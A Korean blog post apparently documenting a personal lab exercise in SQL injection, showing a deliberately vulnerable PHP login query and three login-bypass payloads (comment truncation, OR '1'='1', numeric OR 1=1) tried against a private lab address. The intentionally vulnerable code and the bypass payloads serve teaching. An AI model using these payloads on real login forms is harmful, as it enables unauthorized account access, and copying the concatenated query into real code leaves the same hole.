실습 목표 :
취약한 로그인 폼에 SQL 페이로드를 삽입해 비밀번호 없이 임의 계정으로 로그인한다.

1. 취약한 코드
login_vuln.php 의 핵심 부분이다.
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
로그인 페이지에서 사용자가 입력하는 값이 쿼리 문자열에 그대로 붙어버린다. 여기서 공격이 시작된다.
2. 공격 원리

3. 페이로드 3종 실습
브라우저에서 http://192.168.100.25:8080/vuln/login_vuln.php 로 접속하고 아래 페이로드를 순서대로 입력해보자.
‼️MySQL에서 -- 주석은 뒤에 공백이 필요하고, # 주석은 뒤에 공백이 필요 없다.
페이로드1️⃣ — 특정 계정 우회
username: admin'--(뒤에 공백 한 칸)
password: (아무 값)
실행되는 쿼리:
SELECT * FROM users WHERE username = 'admin'-- AND password = '...'
-- 뒤가 전부 주석 처리되어 password 조건이 사라진다.
admin 계정이 존재하면 비밀번호 없이 로그인된다.
로그인 결과:

페이로드2️⃣ — 계정을 모르는 상태에서 우회 (OR 1=1)
username: ' OR '1'='1'--(뒤에 공백 한 칸)
password: (아무 값)
username 컬럼이 문자열(VARCHAR)이기 때문에 쿼리 안에서 ' ' 따옴표로 값을 감싸야 한다.
그래서 페이로드 안에 따옴표를 직접 넣어서 문자열 구조를 깨뜨리는 방식이다.
실행되는 쿼리:
SELECT * FROM users WHERE username = '' OR '1'='1'-- AND password = '...'
'1'='1' 은 항상 참이므로 WHERE 조건 전체가 참이 된다.
테이블의 첫 번째 행(보통 admin)이 반환된다.
로그인 결과:

페이로드3️⃣ — 숫자형 컬럼 공격 (따옴표 없이)
username: 1 OR 1=1--(뒤에 공백 한 칸)
password: (아무 값)
컬럼이 INT 같은 정수형일 때는 PHP 코드가 애초에 따옴표 없이 쿼리를 만든다.
실행되는 쿼리:
SELECT * FROM users WHERE username = 1 OR 1=1-- AND password = '...'
문자열이 아닌 숫자형 비교에서는 따옴표 없이도 공격이 성립한다.
// 숫자형 컬럼을 조회하는 취약한 코드
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
// ↑ 따옴표 없음
따옴표가 없으니 페이로드에도 따옴표가 필요 없다. 그냥 숫자 뒤에 OR 1=1을 붙이면 바로 SQL로 해석된다.
로그인 결과:

username 컬럼이 문자열 타입이기 때문에 숫자형 쿼리를 입력했을 때 공격이 실패한다.
💡 VARCHAR vs INT
| 대상 코드 | WHERE username = '$input' | WHERE id = $input |
| 컬럼 타입 | VARCHAR (문자열) | INT (숫자) |
| 따옴표 필요 | 있음 | 없음 |
| 대표 공격 대상 | 로그인 폼, 검색창 | 게시글 번호, 상품 ID URL이 ?id=1 처럼 숫자를 받는 구조 |
4. 정리
핵심: 입력값이 SQL 구조를 바꿀 수 있다.
- -- 또는 # 으로 이후 조건을 무력화
- OR 1=1 로 WHERE 조건 전체를 참으로 만들기
MySQL 주석: --[공백] 또는 # (공백 불필요)
'Journey to Security > 웹 보안' 카테고리의 다른 글
| [SQLi] 취약한 실습용 웹 애플리케이션 만들기 (Claude AI 이용) (0) | 2026.05.16 |
|---|---|
| Burp Suite와 FoxyProxy를 활용해서 Request/Response 가로채기 (0) | 2026.05.13 |